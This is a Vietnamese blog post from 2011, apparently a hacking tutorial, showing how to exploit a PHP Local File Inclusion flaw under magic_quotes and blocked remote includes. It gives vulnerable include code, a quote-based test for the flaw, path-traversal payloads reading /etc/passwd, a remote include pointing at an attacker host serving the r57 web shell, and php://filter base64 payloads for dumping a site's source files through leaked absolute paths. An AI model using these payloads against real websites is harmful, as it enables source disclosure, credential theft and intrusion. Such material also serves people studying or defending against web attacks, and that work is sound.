Sunday, July 10, 2011

Phương pháp khai thác lỗi Local File Inclusion bằng PHP filter


Phương pháp nohat trình bày dưới đây không rõ là đã có ai trình bày ở VN chưa ( tìm bằng google thì chưa thấy ai thảo luận về phương pháp này ) , nohat tìm ra trong quá trình coding website, lên google tìm thử thì thấy có vẻ một số bác ở nước ngoài đã khai thác theo hướng này từ hồi đầu năm nay

Ngôn ngữ: PHP ( hướng dẫn sau chỉ áp dụng với PHP, với các ngôn ngữ khác, công cụ tương tự nohat không rõ là có hay không )

Tình huống:

Code:

<?php 
  include($_GET['page'].”.php”);
 ?> 
 


PHP cấu hình với magic_quote = on

PHP cũng cấu hình không cho phép include remote file

Phương pháp kiểm tra có dính lỗi Local File Inclusion hay không ( just for newbie ):

Quan sát URL trên thanh Address có dạng

www.abc.com/index.php?page=index&var1=abc&var2=cdf

www.abc.com/index.php?page=register&var1=abc&var2=cdf

www.abc.com/index.php?page=feedback&var1=abc&var2=cdf 


chú ý phần bôi đỏ , các trang dùng để include thường có cái tên rất "gợi nhớ" như trên. Bây giờ tới bước kiểm tra lỗi:

www.abc.com/index.php?page=index'&var1=abc&var2=cdf 


ở link trên tôi "phang" thêm một dấu "nháy đơn" ( ' ) nếu nó văng ra lỗi có vẻ trông như sau

Warning: include(feedback\'.php) [function.include]: failed to open stream: No such file or directory in... 


tức là nó bị lỗi Local File Inclusion ( hoặc thậm chí Remote File Inclusion nếu server cho phép Remote File Inclusion cái này có dịp sẽ viết thành một bài khác ). Còn không, đi chỗ khác chơi smilie

Khai thác:

Với lỗi Local File Inclusion như trên thì bà con nghĩ ngay là quất một GET request

www.abc.com/index.php?page=./././././././etc/passwd 


hay

www.abc.com/index.php?page=www.attacker.com/r57 


Nhưng môi trường khai thác bị giới hạn lại bởi Magic_quote = on khiến cái null byte () bị vô hiệu hoá, và cấm include remote file nên cái hướng khai thác thứ 2 cũng tèo luôn

Vậy để khai thác lỗi LFI trong môi trường ở trên thì ta thử cách sau:

Thêm đoạn sau vào trong request

php://filter/read=convert.base64-encode/resource=đường-dẫn-tới-file-cần-đọc 


URL sau khi thêm đoạn trên sẽ thành

www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php 


Chú ý ở đây cần xóa bỏ đoạn .php được bôi đỏ đi vì khi URL trên được truyền vào trong PHP script sẽ thành

<?php
include(www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.”.php”);
?>  


Cách khai thác ở đây là tận dụng công cụ filter của PHP ( tham khảo phần PHP input/output http://www.php.net/manual/en/wrappers.php.php ) là php://filter (đoạn màu cam ở URL trên kia ) để đọc lấy nội dung file mà mình cần đọc, sau đó chuyển nội dung file thành dạng encoded base64 - đoạn màu vàng trong URL trên ( giúp cho việc đọc các file .php khi include vào sẽ không được thực thi mà chỉ là text thuần ). Sau khi trang php hiện ra nó sẽ include trong trang này đoạn base64 của file cần đọc, ta chỉ việc mang đoạn base64 này đi decode base64 là sẽ nhận được nội dung nguyên thủy của file cần đọc, các bước khai thác tiếp theo là tùy ý người tấn công

Việc đọc file có thể sử dụng cả đường dẫn tuyệt đối phun ra từ báo lỗi của PHP


Warning: include(conf.php.php) [function.include]: failed to open stream: operation failed in /home/htdocs/index.php on line 33 


đoạn bôi màu giúp ta nhanh chóng xác định cấu trúc thư mục nơi chứa site nhằm định ra nơi chứa file cần đọc

www.abc.com/index.php?page=php://filter/read=convert.base64-encode/resource=/home/htdocs/index.php 


Việc exploit LFI tới đây là hoàn tất, nhưng nohat thật sự không biết là có nên gọi đây là LFI hay không nữa vì nó giống exploit lỗi Local File Disclose hơn

Có gì mong anh chị em góp ý thêm

2 comments:

  1. Có cái game java thằng kia gắn key kiểu này + sever ngầm . log out phát đăng nhập lại sai tk vs pass luôn

    ReplyDelete
  2. Có cái game java thằng kia gắn key kiểu này + sever ngầm . log out phát đăng nhập lại sai tk vs pass luôn

    ReplyDelete